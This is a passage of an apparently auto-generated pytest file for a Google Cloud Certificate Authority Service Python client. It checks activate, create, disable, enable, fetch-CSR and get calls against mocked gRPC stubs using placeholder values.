grpc_helpers_async.FakeUnaryUnaryCall( operations_pb2.Operation(name="operations/spam") ) response = await client.activate_certificate_authority(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == service.ActivateCertificateAuthorityRequest() # Establish that the response is the type that we expect. assert isinstance(response, future.Future) @pytest.mark.asyncio async def test_activate_certificate_authority_async_from_dict(): await test_activate_certificate_authority_async(request_type=dict) def test_activate_certificate_authority_field_headers(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.ActivateCertificateAuthorityRequest() request.name = "name/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.activate_certificate_authority), "__call__" ) as call: call.return_value = operations_pb2.Operation(name="operations/op") client.activate_certificate_authority(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "name=name/value",) in kw["metadata"] @pytest.mark.asyncio async def test_activate_certificate_authority_field_headers_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.ActivateCertificateAuthorityRequest() request.name = "name/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.activate_certificate_authority), "__call__" ) as call: call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( operations_pb2.Operation(name="operations/op") ) await client.activate_certificate_authority(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "name=name/value",) in kw["metadata"] def test_activate_certificate_authority_flattened(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.activate_certificate_authority), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = operations_pb2.Operation(name="operations/op") # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. client.activate_certificate_authority(name="name_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] arg = args[0].name mock_val = "name_value" assert arg == mock_val def test_activate_certificate_authority_flattened_error(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): client.activate_certificate_authority( service.ActivateCertificateAuthorityRequest(), name="name_value", ) @pytest.mark.asyncio async def test_activate_certificate_authority_flattened_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.activate_certificate_authority), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = operations_pb2.Operation(name="operations/op") call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( operations_pb2.Operation(name="operations/spam") ) # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. response = await client.activate_certificate_authority(name="name_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] arg = args[0].name mock_val = "name_value" assert arg == mock_val @pytest.mark.asyncio async def test_activate_certificate_authority_flattened_error_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): await client.activate_certificate_authority( service.ActivateCertificateAuthorityRequest(), name="name_value", ) @pytest.mark.parametrize( "request_type", [service.CreateCertificateAuthorityRequest, dict,] ) def test_create_certificate_authority(request_type, transport: str = "grpc"): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.create_certificate_authority), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = operations_pb2.Operation(name="operations/spam") response = client.create_certificate_authority(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == service.CreateCertificateAuthorityRequest() # Establish that the response is the type that we expect. assert isinstance(response, future.Future) def test_create_certificate_authority_empty_call(): # This test is a coverage failsafe to make sure that totally empty calls, # i.e. request == None and no flattened fields passed, work. client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport="grpc", ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.create_certificate_authority), "__call__" ) as call: client.create_certificate_authority() call.assert_called() _, args, _ = call.mock_calls[0] assert args[0] == service.CreateCertificateAuthorityRequest() @pytest.mark.asyncio async def test_create_certificate_authority_async( transport: str = "grpc_asyncio", request_type=service.CreateCertificateAuthorityRequest, ): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.create_certificate_authority), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( operations_pb2.Operation(name="operations/spam") ) response = await client.create_certificate_authority(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == service.CreateCertificateAuthorityRequest() # Establish that the response is the type that we expect. assert isinstance(response, future.Future) @pytest.mark.asyncio async def test_create_certificate_authority_async_from_dict(): await test_create_certificate_authority_async(request_type=dict) def test_create_certificate_authority_field_headers(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.CreateCertificateAuthorityRequest() request.parent = "parent/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.create_certificate_authority), "__call__" ) as call: call.return_value = operations_pb2.Operation(name="operations/op") client.create_certificate_authority(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"] @pytest.mark.asyncio async def test_create_certificate_authority_field_headers_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.CreateCertificateAuthorityRequest() request.parent = "parent/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.create_certificate_authority), "__call__" ) as call: call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( operations_pb2.Operation(name="operations/op") ) await client.create_certificate_authority(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"] def test_create_certificate_authority_flattened(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.create_certificate_authority), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = operations_pb2.Operation(name="operations/op") # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. client.create_certificate_authority( parent="parent_value", certificate_authority=resources.CertificateAuthority(name="name_value"), certificate_authority_id="certificate_authority_id_value", ) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] arg = args[0].parent mock_val = "parent_value" assert arg == mock_val arg = args[0].certificate_authority mock_val = resources.CertificateAuthority(name="name_value") assert arg == mock_val arg = args[0].certificate_authority_id mock_val = "certificate_authority_id_value" assert arg == mock_val def test_create_certificate_authority_flattened_error(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): client.create_certificate_authority( service.CreateCertificateAuthorityRequest(), parent="parent_value", certificate_authority=resources.CertificateAuthority(name="name_value"), certificate_authority_id="certificate_authority_id_value", ) @pytest.mark.asyncio async def test_create_certificate_authority_flattened_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.create_certificate_authority), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = operations_pb2.Operation(name="operations/op") call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( operations_pb2.Operation(name="operations/spam") ) # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. response = await client.create_certificate_authority( parent="parent_value", certificate_authority=resources.CertificateAuthority(name="name_value"), certificate_authority_id="certificate_authority_id_value", ) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] arg = args[0].parent mock_val = "parent_value" assert arg == mock_val arg = args[0].certificate_authority mock_val = resources.CertificateAuthority(name="name_value") assert arg == mock_val arg = args[0].certificate_authority_id mock_val = "certificate_authority_id_value" assert arg == mock_val @pytest.mark.asyncio async def test_create_certificate_authority_flattened_error_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): await client.create_certificate_authority( service.CreateCertificateAuthorityRequest(), parent="parent_value", certificate_authority=resources.CertificateAuthority(name="name_value"), certificate_authority_id="certificate_authority_id_value", ) @pytest.mark.parametrize( "request_type", [service.DisableCertificateAuthorityRequest, dict,] ) def test_disable_certificate_authority(request_type, transport: str = "grpc"): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.disable_certificate_authority), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = operations_pb2.Operation(name="operations/spam") response = client.disable_certificate_authority(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == service.DisableCertificateAuthorityRequest() # Establish that the response is the type that we expect. assert isinstance(response, future.Future) def test_disable_certificate_authority_empty_call(): # This test is a coverage failsafe to make sure that totally empty calls, # i.e. request == None and no flattened fields passed, work. client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport="grpc", ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.disable_certificate_authority), "__call__" ) as call: client.disable_certificate_authority() call.assert_called() _, args, _ = call.mock_calls[0] assert args[0] == service.DisableCertificateAuthorityRequest() @pytest.mark.asyncio async def test_disable_certificate_authority_async( transport: str = "grpc_asyncio", request_type=service.DisableCertificateAuthorityRequest, ): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.disable_certificate_authority), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( operations_pb2.Operation(name="operations/spam") ) response = await client.disable_certificate_authority(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == service.DisableCertificateAuthorityRequest() # Establish that the response is the type that we expect. assert isinstance(response, future.Future) @pytest.mark.asyncio async def test_disable_certificate_authority_async_from_dict(): await test_disable_certificate_authority_async(request_type=dict) def test_disable_certificate_authority_field_headers(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.DisableCertificateAuthorityRequest() request.name = "name/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.disable_certificate_authority), "__call__" ) as call: call.return_value = operations_pb2.Operation(name="operations/op") client.disable_certificate_authority(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "name=name/value",) in kw["metadata"] @pytest.mark.asyncio async def test_disable_certificate_authority_field_headers_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.DisableCertificateAuthorityRequest() request.name = "name/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.disable_certificate_authority), "__call__" ) as call: call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( operations_pb2.Operation(name="operations/op") ) await client.disable_certificate_authority(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "name=name/value",) in kw["metadata"] def test_disable_certificate_authority_flattened(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.disable_certificate_authority), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = operations_pb2.Operation(name="operations/op") # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. client.disable_certificate_authority(name="name_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] arg = args[0].name mock_val = "name_value" assert arg == mock_val def test_disable_certificate_authority_flattened_error(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): client.disable_certificate_authority( service.DisableCertificateAuthorityRequest(), name="name_value", ) @pytest.mark.asyncio async def test_disable_certificate_authority_flattened_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.disable_certificate_authority), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = operations_pb2.Operation(name="operations/op") call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( operations_pb2.Operation(name="operations/spam") ) # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. response = await client.disable_certificate_authority(name="name_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] arg = args[0].name mock_val = "name_value" assert arg == mock_val @pytest.mark.asyncio async def test_disable_certificate_authority_flattened_error_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): await client.disable_certificate_authority( service.DisableCertificateAuthorityRequest(), name="name_value", ) @pytest.mark.parametrize( "request_type", [service.EnableCertificateAuthorityRequest, dict,] ) def test_enable_certificate_authority(request_type, transport: str = "grpc"): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.enable_certificate_authority), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = operations_pb2.Operation(name="operations/spam") response = client.enable_certificate_authority(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == service.EnableCertificateAuthorityRequest() # Establish that the response is the type that we expect. assert isinstance(response, future.Future) def test_enable_certificate_authority_empty_call(): # This test is a coverage failsafe to make sure that totally empty calls, # i.e. request == None and no flattened fields passed, work. client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport="grpc", ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.enable_certificate_authority), "__call__" ) as call: client.enable_certificate_authority() call.assert_called() _, args, _ = call.mock_calls[0] assert args[0] == service.EnableCertificateAuthorityRequest() @pytest.mark.asyncio async def test_enable_certificate_authority_async( transport: str = "grpc_asyncio", request_type=service.EnableCertificateAuthorityRequest, ): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.enable_certificate_authority), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( operations_pb2.Operation(name="operations/spam") ) response = await client.enable_certificate_authority(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == service.EnableCertificateAuthorityRequest() # Establish that the response is the type that we expect. assert isinstance(response, future.Future) @pytest.mark.asyncio async def test_enable_certificate_authority_async_from_dict(): await test_enable_certificate_authority_async(request_type=dict) def test_enable_certificate_authority_field_headers(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.EnableCertificateAuthorityRequest() request.name = "name/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.enable_certificate_authority), "__call__" ) as call: call.return_value = operations_pb2.Operation(name="operations/op") client.enable_certificate_authority(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "name=name/value",) in kw["metadata"] @pytest.mark.asyncio async def test_enable_certificate_authority_field_headers_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.EnableCertificateAuthorityRequest() request.name = "name/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.enable_certificate_authority), "__call__" ) as call: call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( operations_pb2.Operation(name="operations/op") ) await client.enable_certificate_authority(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "name=name/value",) in kw["metadata"] def test_enable_certificate_authority_flattened(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.enable_certificate_authority), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = operations_pb2.Operation(name="operations/op") # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. client.enable_certificate_authority(name="name_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] arg = args[0].name mock_val = "name_value" assert arg == mock_val def test_enable_certificate_authority_flattened_error(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): client.enable_certificate_authority( service.EnableCertificateAuthorityRequest(), name="name_value", ) @pytest.mark.asyncio async def test_enable_certificate_authority_flattened_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.enable_certificate_authority), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = operations_pb2.Operation(name="operations/op") call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( operations_pb2.Operation(name="operations/spam") ) # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. response = await client.enable_certificate_authority(name="name_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] arg = args[0].name mock_val = "name_value" assert arg == mock_val @pytest.mark.asyncio async def test_enable_certificate_authority_flattened_error_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): await client.enable_certificate_authority( service.EnableCertificateAuthorityRequest(), name="name_value", ) @pytest.mark.parametrize( "request_type", [service.FetchCertificateAuthorityCsrRequest, dict,] ) def test_fetch_certificate_authority_csr(request_type, transport: str = "grpc"): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.fetch_certificate_authority_csr), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = service.FetchCertificateAuthorityCsrResponse( pem_csr="pem_csr_value", ) response = client.fetch_certificate_authority_csr(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == service.FetchCertificateAuthorityCsrRequest() # Establish that the response is the type that we expect. assert isinstance(response, service.FetchCertificateAuthorityCsrResponse) assert response.pem_csr == "pem_csr_value" def test_fetch_certificate_authority_csr_empty_call(): # This test is a coverage failsafe to make sure that totally empty calls, # i.e. request == None and no flattened fields passed, work. client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport="grpc", ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.fetch_certificate_authority_csr), "__call__" ) as call: client.fetch_certificate_authority_csr() call.assert_called() _, args, _ = call.mock_calls[0] assert args[0] == service.FetchCertificateAuthorityCsrRequest() @pytest.mark.asyncio async def test_fetch_certificate_authority_csr_async( transport: str = "grpc_asyncio", request_type=service.FetchCertificateAuthorityCsrRequest, ): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.fetch_certificate_authority_csr), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( service.FetchCertificateAuthorityCsrResponse(pem_csr="pem_csr_value",) ) response = await client.fetch_certificate_authority_csr(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == service.FetchCertificateAuthorityCsrRequest() # Establish that the response is the type that we expect. assert isinstance(response, service.FetchCertificateAuthorityCsrResponse) assert response.pem_csr == "pem_csr_value" @pytest.mark.asyncio async def test_fetch_certificate_authority_csr_async_from_dict(): await test_fetch_certificate_authority_csr_async(request_type=dict) def test_fetch_certificate_authority_csr_field_headers(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.FetchCertificateAuthorityCsrRequest() request.name = "name/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.fetch_certificate_authority_csr), "__call__" ) as call: call.return_value = service.FetchCertificateAuthorityCsrResponse() client.fetch_certificate_authority_csr(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "name=name/value",) in kw["metadata"] @pytest.mark.asyncio async def test_fetch_certificate_authority_csr_field_headers_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.FetchCertificateAuthorityCsrRequest() request.name = "name/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.fetch_certificate_authority_csr), "__call__" ) as call: call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( service.FetchCertificateAuthorityCsrResponse() ) await client.fetch_certificate_authority_csr(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "name=name/value",) in kw["metadata"] def test_fetch_certificate_authority_csr_flattened(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.fetch_certificate_authority_csr), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = service.FetchCertificateAuthorityCsrResponse() # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. client.fetch_certificate_authority_csr(name="name_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] arg = args[0].name mock_val = "name_value" assert arg == mock_val def test_fetch_certificate_authority_csr_flattened_error(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): client.fetch_certificate_authority_csr( service.FetchCertificateAuthorityCsrRequest(), name="name_value", ) @pytest.mark.asyncio async def test_fetch_certificate_authority_csr_flattened_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.fetch_certificate_authority_csr), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = service.FetchCertificateAuthorityCsrResponse() call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( service.FetchCertificateAuthorityCsrResponse() ) # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. response = await client.fetch_certificate_authority_csr(name="name_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] arg = args[0].name mock_val = "name_value" assert arg == mock_val @pytest.mark.asyncio async def test_fetch_certificate_authority_csr_flattened_error_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): await client.fetch_certificate_authority_csr( service.FetchCertificateAuthorityCsrRequest(), name="name_value", ) @pytest.mark.parametrize( "request_type", [service.GetCertificateAuthorityRequest, dict,] ) def test_get_certificate_authority(request_type, transport: str = "grpc"): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.get_certificate_authority), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = resources.CertificateAuthority( name="name_value", type_=resources.CertificateAuthority.Type.SELF_SIGNED, tier=resources.CaPool.Tier.ENTERPRISE, state=resources.CertificateAuthority.State.ENABLED, pem_ca_certificates=["pem_ca_certificates_value"], gcs_bucket="gcs_bucket_value", ) response = client.get_certificate_authority(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == service.GetCertificateAuthorityRequest() # Establish that the response is the type that we expect. assert isinstance(response, resources.CertificateAuthority) assert response.name == "name_value" assert response.type_ == resources.CertificateAuthority.Type.SELF_SIGNED assert response.tier == resources.CaPool.Tier.ENTERPRISE assert response.state == resources.CertificateAuthority.State.ENABLED assert response.pem_ca_certificates == ["pem_ca_certificates_value"] assert response.gcs_bucket == "gcs_bucket_value" def test_get_certificate_authority_empty_call(): # This test is a coverage failsafe to make sure that totally empty calls, # i.e. request == None and no flattened fields passed, work. client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport="grpc", ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.get_certificate_authority), "__call__" ) as call: client.get_certificate_authority() call.assert_called() _, args, _ = call.mock_calls[0] assert args[0] == service.GetCertificateAuthorityRequest() @pytest.mark.asyncio async def test_get_certificate_authority_async( transport: str = "grpc_asyncio", request_type=service.GetCertificateAuthorityRequest ): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.get_certificate_authority), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( resources.CertificateAuthority( name="name_value", type_=resources.CertificateAuthority.Type.SELF_SIGNED, tier=resources.CaPool.Tier.ENTERPRISE, state=resources.CertificateAuthority.State.ENABLED, pem_ca_certificates=["pem_ca_certificates_value"], gcs_bucket="gcs_bucket_value", ) ) response = await client.get_certificate_authority(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == service.GetCertificateAuthorityRequest() # Establish that the response is the type that we expect. assert isinstance(response, resources.CertificateAuthority) assert response.name == "name_value" assert response.type_ == 